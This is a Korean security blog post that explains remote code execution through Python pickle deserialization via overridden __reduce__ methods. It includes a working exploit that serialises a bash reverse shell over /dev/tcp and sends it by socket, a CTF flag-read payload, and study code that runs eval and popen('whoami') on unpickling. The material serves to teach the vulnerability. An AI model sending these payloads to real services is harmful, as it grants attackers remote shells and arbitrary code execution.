끄적끄적

[vulnerability] Python Pickle Module Exploit 본문

Security/Web

[vulnerability] Python Pickle Module Exploit

Go0G 2021. 10. 7. 10:31

 

#RCE
class Shell_code(object):
  def __reduce__(self):
	return (os.system,('/bin/bash -i >& /dev/tcp/"Client IP"/"Listening PORT" 0>&1',))
shell = cPickle.dumps(Shell_code())
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect(('Server IP','Server PORT'))
client_socket.send(shell)

#CTF Flag Read(Web Server)
class Read_Flag(object):
  def __reduce__(self):
	return (eval,("open('./flag.txt').read()",))

serialize/deserialize 취약점으로 파이썬 pickle 모듈의 dumps 메소드(bytes 객체로 반환)에서 직렬화 후 전송할 경우 Victim 서버내 코드의 역직렬화 과정(loads 메소드 호출)에서 __reduce__ 메소드의 Return 객체 실행


개요

__reduce__ Method

파이썬 객체 구조를 unpickling 할때 객체를 재구성에 대한 정보가 담긴 *튜플을 반환

__reduce__의 Return Value
- 호출 가능한 객체(일반적으로 호출할 클래스 이름)
- 호출가능한 객체에 대한 인자. 호출 가능한 객체가 인자를 받아들이지 않으면 빈 튜플 제공

 *튜플: 파이썬 내 자료형으로 "()"의 형태

이때, 호출 가능한 객체에 임의의 명령(eval, os)을 실행할 수 있는 클래스를 지정하여 RCE 취약점 발생

 

발생 조건: 공격자가 deserialize되는 객체에 접근이 가능해야 함

요약

  1. Pickle.dumps() 모듈을 사용하여 직렬화를 수행하여 바이트 객체로 변환하고, Pickle.loads() 모듈을 사용하여 바이트 객체를 본래 값으로 역직렬화(재구성)하는 과정에서 본래 Object가 어떻게 재구성될지에 대한 명령을 __reduce__() 메소드를 통해 선언하게 됨
  2. __reduce__() 메소드의 리턴 값에는 호출 가능한 객체(임의의 함수), 호출가능한 객체에 대한 인자가 존재
  3. 공격자는 __reduce__() 메소드를 오버라이딩하여 리턴 값 변경 및 직렬화 수행 후 Victim에게 전송
  4. Victim은 공격자가 보낸 값을 역직렬화 하는 과정에서 공격자가 변조한 __reduce__() 메소드가 실행되어 임의의 함수가 실행됨

학습 코드

import pickle #내장함수
import pickletools #내장함수

pickle_test = pickle.dumps("Rootable") #직렬화
print("------------------------------------------")
print("직렬화된 코드 :", pickle_test) #직렬화된 코드: b'\x80\x04\x95\x0c\x00\x00\x00\x00\x00\x00\x00\x8c\x08Rootalbe\x94.'
print("역직렬화된 코드 :", pickle.loads(pickle_test))#"Rootable"
print("------------------------------------------")

info = {'name':'aaaa','userid':'bbbb','passwd':'cccc'} #변수선언
data = pickle.dumps(info) #직렬화
print("직렬화전 코드: ",info) #{'name': 'aaaa', 'userid': 'bbbb', 'passwd': 'cccc'}
print("직렬화된 코드: ",data) #b'\x80\x04\x953\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x04name\x94\x8c\x04aaaa\x94\x8c\x06userid\x94\x8c\x04bbbb\x94\x8c\x06passwd\x94\x8c\x04cccc\x94u.'
print("역직렬화된 코드: ", pickle.loads(data)) #{'name': 'aaaa', 'userid': 'bbbb', 'passwd': 'cccc'}
print("디코딩")
print(pickletools.dis(data)) #직렬화 코드 dicoding
print("------------------------------------------")

payload=b"c__builtin__\neval\n(S'print('rootable')'\ntR." #직렬화된 코드 변수 선언
print("직렬화된 코드: ", payload)
print("디코딩") 
pickletools.dis(payload)
print("역직렬화 결과(Command)")
pickle.loads(payload) #역직렬화되며 eval(print('rootable))이 실행됨
print("------------------------------------------")

class Exploit1(object): 
    def __reduce__(self): #__load__시 호출되는 __reduce__메소드를 재정의
        p = "__import__('os').popen('whoami').read()" #동적으로 OS 클래스 추가후 popen 메소드에 'whoami' 명령어를 삽입한 후 해당 값을 .read()로 읽어옴
        return(eval,(p,))
print("디코딩")
payload = pickle.dumps(Exploit1()) #Exploit 코드가 담겨있는 클래스를 직렬화 
pickletools.dis(payload)
print("직렬화된 코드: ",payload)
print("역직렬화 결과: ",pickle.loads(payload)) #역직렬화

관련 CVE

  • CVE-2011-2520
  • CVE-2012-4406

Reference

'Security > Web' 카테고리의 다른 글

[vulnerability] File Upload  (0) 2022.04.25
[Exploit] 예제 코드  (0) 2022.03.03
[Secure Coding] Prepared Statement 훑어보기  (1) 2022.01.17
[vulnerability] Nginx alias traversal  (0) 2021.10.07
PentesterLab 1  (1) 2021.09.24
Comments